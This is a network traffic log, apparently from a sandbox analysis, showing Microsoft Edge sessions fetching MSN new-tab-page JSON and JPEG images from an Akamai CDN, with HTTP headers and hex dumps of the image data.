2024-11-25 11:08:59 UTC	2718	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4b 6f 20 50 68 61 20 4e 67 61 6e 2c 20 54 68 61 69 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 25 32 42 4b 6f 2b 50 68 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Ko Pha Ngan, Thailand\",\"cta\":\"https:\/\/www.bing.com\/search?q=%2BKo+Pha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49826	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:59 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:59 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=427976 Expires: Sat, 30 Nov 2024 10:01:55 GMT Date: Mon, 25 Nov 2024 11:08:59 GMT Connection: close
2024-11-25 11:08:59 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 11:08:59 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-25 11:08:59 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-25 11:08:59 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-25 11:08:59 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-25 11:08:59 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-25 11:08:59 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-25 11:08:59 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-25 11:09:00 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-25 11:09:00 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49827	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:59 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:59 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=88747 Expires: Tue, 26 Nov 2024 11:48:06 GMT Date: Mon, 25 Nov 2024 11:08:59 GMT Connection: close
2024-11-25 11:08:59 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 11:08:59 UTC	16384	IN	Data Raw: da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 e3 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-25 11:08:59 UTC	1274	IN	Data Raw: b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 55 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WDU
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-25 11:09:00 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-25 11:09:00 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 